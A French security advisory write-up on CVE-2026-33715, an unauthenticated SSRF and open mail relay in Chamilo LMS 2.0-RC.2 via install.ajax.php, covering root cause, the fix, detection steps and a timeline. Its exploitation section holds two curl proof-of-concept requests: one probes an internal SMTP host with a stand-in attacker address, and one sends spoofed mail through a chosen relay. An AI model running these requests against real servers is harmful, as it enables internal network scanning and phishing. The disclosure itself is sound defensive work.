CVE-2026-33715

CVSS 7.2 · Élevée Corrigé
Type
Recherche de vulnérabilités
Publié le
Durée de lecture
7 min de lecture
Auteur
rootzero
Read in English
Read in English →

CVE-2026-33715 : SSRF sans authentification et relais de mail ouvert dans Chamilo LMS via install.ajax.php

Un endpoint d’installation resté actif dans Chamilo LMS 2.0 permettait à n’importe qui d’ouvrir des connexions SMTP vers tout hôte et d’envoyer des mails.

Pour décider

Impact
Le serveur peut être amené à joindre une destination SMTP choisie par un tiers et à tenter un envoi de mail.
Conditions
Le fichier AJAX d’installation doit être accessible. L’envoi effectif dépend du relais SMTP atteint.
Action recommandée
Appliquer Chamilo 2.0-RC.3 ou ultérieur et vérifier l’exposition des fichiers d’installation.

Fiche de l’avis

Paquet
composer · chamilo/chamilo-lms
Versions affectées
2.0-RC.2
Corrigé dans
2.0-RC.3
CVSS
7.2 Élevée
Faiblesse
CWE-306, CWE-918
Accès requis
Sans authentification
Avis publié
Crédit
rootzero

Synthèse de l’enquête

L’endpoint de l’assistant d’installation public/main/inc/ajax/install.ajax.php restait accessible sur les instances Chamilo LMS 2.0 installées, sans session ni contrôle d’installation. Son action test_mailer transmettait à Symfony Mailer un DSN tiré de la requête : un attaquant non authentifié pouvait faire se connecter le serveur à n’importe quel hôte et port SMTP et envoyer un message à n’importe quelle adresse. Corrigé en 2.0-RC.3.

Un fichier d’installation encore joignable

Nous avons commencé par inventorier les fichiers AJAX de Chamilo exécutés directement sous public/main/inc/ajax/. Presque tous chargeaient global.inc.php, qui initialise l’application et ses contrôles. install.ajax.php ne chargeait que l’autoloader. Son action test_mailer acceptait un DSN SMTP fourni dans le POST, même après la fin de l’installation. Nous avons préparé un POST sans cookie pour une instance installée et vérifié la règle de réécriture qui sert directement ce fichier. Le dossier conserve la requête et le chemin de code, mais aucune réponse capturée d’une instance en fonctionnement.

En suivant la requête jusqu’à Transport::fromDsn() et Mailer::send(), nous avons situé l’endroit où le serveur tenterait la connexion SMTP sortante. Nous n’avons retrouvé ni capture réseau ni transcript d’un relais réussi : la connexion et l’envoi restent des effets étayés par le code, pas des résultats locaux observés. La découverte date du 22 mars 2026 ; nous l’avons signalée en privé le 23. Chamilo a intégré le correctif le même jour, publié 2.0-RC.3 le 1er avril, puis l’avis CVE-2026-33715 le 14 avril.

Pourquoi l’ancien fichier PHP s’exécutait encore

Chamilo 2.0 mêle routes Symfony et anciens fichiers PHP sous public/main/. Nous avons suivi l’accès direct aux fichiers, qui ne passe pas nécessairement par le pare-feu Symfony.

Cette double structure compte pour la sécurité. Les requêtes vers les routes Symfony passent par le contrôleur frontal et son pare-feu de sécurité. Les scripts historiques suivent un autre chemin : le public/.htaccess livré avec Chamilo confie directement à PHP tout fichier existant, et ne réécrit vers le contrôleur frontal que les autres requêtes.

# public/.htaccess (2.0-RC.2)
# If the requested filename exists, simply serve it.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ %{ENV:BASE}/index.php [L]

Un fichier PHP sous public/ s’exécute donc seul, protégé uniquement par ce qu’il inclut. Dans l’arborescence historique, cette protection commence par global.inc.php, qui initialise la session, la configuration et l’état d’installation, et se poursuit en général par un contrôle explicite comme api_block_anonymous_users().

Le fichier AJAX sans initialisation de l’application

Nous avons listé les fichiers PHP de public/main/inc/ajax/ et vérifié lesquels chargeaient global.inc.php avant de traiter une requête. Cet inventaire a laissé un seul cas à part.

install.ajax.php faisait exception. Il charge l’autoloader de Composer et rien d’autre. Son nom désignait du code écrit pour l’assistant d’installation, et une recherche de ses actions a fait apparaître test_mailer, qui prend un DSN Symfony Mailer brut dans le corps POST. Le PoC conservé construit une requête curl sans cookie, et la règle Apache sert directement un fichier PHP existant. Nous n’avons pas retrouvé sa réponse sur une instance entièrement installée dans le dossier de recherche.

Cause racine

Le fichier commence ainsi :

// public/main/inc/ajax/install.ajax.php (2.0-RC.2)
/**
 * Responses to AJAX calls for installation.
 */
require_once __DIR__.'/../../../../vendor/autoload.php';

Aucune session, aucun utilisateur, aucune vérification que la plateforme est déjà installée (CWE-306). L’action test_mailer construit ensuite un transport de mail à partir des données de la requête :

case 'test_mailer':
    $mailerDsn = $request ? (string) $request->request->get('mailerDsn') : get_post_param('mailerDsn');
    $mailerTestDestination = $request ? (string) $request->request->get('mailerTestDestination') : get_post_param('mailerTestDestination');
    $mailerFromEmail = $request ? (string) $request->request->get('mailerFromEmail') : get_post_param('mailerFromEmail');
    $mailerFromName = $request ? (string) $request->request->get('mailerFromName') : get_post_param('mailerFromName');
    // ... contrôles de format sur l'expéditeur et le destinataire ...
    try {
        $transport = Transport::fromDsn($mailerDsn);
        $mailer = new Mailer($transport);

        $email = (new Email())
            ->from(new Address($mailerFromEmail, $mailerFromName))
            ->to($mailerTestDestination)
            ->subject('Chamilo Mail Test')
            ->text('This is a test e-mail sent from the Chamilo installation wizard.');

        $mailer->send($email);

        json_response(['success' => true]);
    } catch (\Throwable $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),
        ], 500);
    }

La seule validation porte sur les deux adresses e-mail, qui doivent être bien formées. Le DSN, qui choisit le transport, l’hôte, le port et les identifiants, arrive intact dans Transport::fromDsn(). Pendant l’installation, c’est le comportement voulu : l’administrateur saisit les paramètres SMTP et l’assistant les teste. Une fois la plateforme installée, le même code laisse n’importe quel visiteur décider de la destination des connexions du serveur (CWE-918). Le bloc catch ajoute une troisième propriété : le message d’exception du mailer revient tel quel au client.

Exploitation

Une seule requête POST non authentifiée suffit. Pour sonder un hôte interne :

curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "mailerFromEmail=test@chamilo.org" \
  -d "mailerFromName=Test" \
  -d "mailerTestDestination=attacker@evil.com"

Le serveur Chamilo ouvre une connexion TCP vers 10.0.0.1:25 et engage un dialogue SMTP. La réponse JSON indique à l’attaquant comment cela s’est passé : success: true quand un serveur de mail a accepté le message, l’erreur du mailer sinon, par exemple un message « Connection could not be established » quand rien n’écoute sur le port. En faisant varier l’hôte et le port du DSN, l’attaquant transforme l’endpoint en scanner de tous les réseaux que l’hôte Chamilo peut joindre.

Pour envoyer du mail par un relais de son choix :

curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://mail.chamilo.org:587" \
  -d "mailerFromEmail=security@chamilo.org" \
  -d "mailerFromName=Chamilo Security" \
  -d "mailerTestDestination=victim@target-org.com"

L’objet et le corps sont fixés par le code. L’adresse d’expéditeur, le nom affiché, le destinataire et le relais viennent tous de la requête. Le message part de l’adresse du serveur Chamilo lui-même, ce que regarde précisément un relais interne qui accepte sans authentification le mail des serveurs applicatifs. La preuve de concept publique regroupe les deux cas dans un script.

Impact

L’avis GitHub note la faille 7,2 avec AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. Aucun compte n’est nécessaire et aucun utilisateur n’a d’action à faire. Le changement de portée traduit le fait que les requêtes atteignent d’autres systèmes : serveurs de mail internes ou tout service TCP que l’attaquant veut tester.

Le code permet à un appelant sans cookie de choisir un point d’accès SMTP et les champs du message. Sur une instance installée qui autorise les sorties SMTP, les erreurs et les durées de connexion pourraient révéler des services internes joignables. Si un relais interne accepte le courrier provenant de l’hôte LMS, ce même chemin pourrait acheminer des messages définis par l’attaquant. Notre dossier ne conserve ni relais réussi ni balayage réseau, et ce chemin ne démontre pas à lui seul une exécution de code ou un accès aux données Chamilo.

Correctif

Chamilo a corrigé le fichier le 23/03/2026, le lendemain de la découverte et le jour même du signalement, dans le commit e9f6672 (« Security: Install: Block access to install.ajax.php in already installed instances »). Le correctif lit le fichier .env et refuse la requête quand la plateforme est marquée comme installée :

// public/main/inc/ajax/install.ajax.php (2.0-RC.3)
$_envFile = __DIR__.'/../../../../.env';
if (file_exists($_envFile)) {
    try {
        (new Dotenv())->loadEnv($_envFile);
    } catch (\Throwable $e) {
        // If the .env cannot be parsed, fail safe and block.
        http_response_code(403);
        exit;
    }
}
$_appInstalled = (string) ($_SERVER['APP_INSTALLED'] ?? $_ENV['APP_INSTALLED'] ?? getenv('APP_INSTALLED') ?? '') === '1';
if ($_appInstalled) {
    http_response_code(403);
    exit;
}

APP_INSTALLED est l’indicateur que l’installateur écrit dans .env et que src/Kernel.php et public/index.php lisent déjà : le contrôle s’appuie sur la même source de vérité que le reste de l’application. Le correctif bloque par défaut si .env ne peut pas être analysé, et il couvre toutes les actions du fichier, y compris send_contact_information, puisqu’il s’exécute avant le switch. Il a été livré dans la 2.0-RC.3, étiquetée le 01/04/2026.

Avant l’installation, l’assistant reste ouvert, ce qui est inévitable puisqu’aucun compte n’existe encore. Une instance laissée à moitié installée l’exposerait toujours, raison de plus pour terminer l’installation avant de mettre un serveur en ligne.

La méthode qui a mené à ce bug, lister les fichiers que le serveur web exécute directement et vérifier leur initialisation, a aussi conduit à une deuxième SSRF sans authentification dans la même version, dans le plugin PENS : CVE-2026-34160.

Détection et mitigation

  1. Mettre à jour vers la 2.0-RC.3 ou une version ultérieure.
  2. Interdire l’accès à /main/inc/ajax/install.ajax.php au niveau du serveur web une fois l’installation terminée, par exemple avec un bloc Files sous Apache ou une règle location sous nginx ; l’assistant est le seul utilisateur légitime du fichier.
  3. Rechercher dans les journaux d’accès des instances installées les requêtes POST vers install.ajax.php?a=test_mailer. Aucun client légitime n’en envoie après l’installation.
  4. Rechercher dans les journaux des relais de mail l’objet Chamilo Mail Test. Le code le fixe, donc chaque message envoyé par ce chemin le porte.
  5. Filtrer le trafic sortant de l’hôte du LMS pour qu’il ne puisse joindre que le relais SMTP configuré, sur le port prévu. Cela contient cette faille et toute SSRF ultérieure du même type.

Chronologie

Date Événement
09/03/2026 Publication de Chamilo 2.0-RC.2
22/03/2026 Découverte de la vulnérabilité
23/03/2026 Signalement privé via l’avis de sécurité GitHub GHSA-mxc9-9335-45mc
23/03/2026 Correctif intégré au code (e9f6672)
01/04/2026 Publication de Chamilo 2.0-RC.3
14/04/2026 Publication de l’avis GHSA-mxc9-9335-45mc avec CVE-2026-33715

Références

  1. Avis de l’éditeur · CVE-2026-33715 github.com/chamilo/chamilo-lms/security/advisories/GHSA-mxc9-9335-45mc
  2. Fiche NVD · CVE-2026-33715 nvd.nist.gov/vuln/detail/CVE-2026-33715
  3. Fiche CVE.org · CVE-2026-33715 www.cve.org/CVERecord?id=CVE-2026-33715
  4. MITRE CWE-306 cwe.mitre.org/data/definitions/306.html
  5. MITRE CWE-918 cwe.mitre.org/data/definitions/918.html
  6. Dépôt du projet github.com/chamilo/chamilo-lms
  7. Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-33715

Citer cet avis

rootzero. « CVE-2026-33715 : SSRF sans authentification et relais de mail ouvert dans Chamilo LMS via install.ajax.php ». Recherche de vulnérabilités, rootzero, 14 avril 2026. https://rootzero.eu/research/cve/cve-2026-33715-chamilo-ssrf-open-relay/

#Recherche de vulnérabilités

Faites auditer votre code avant qu’un autre ne le fasse.

Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.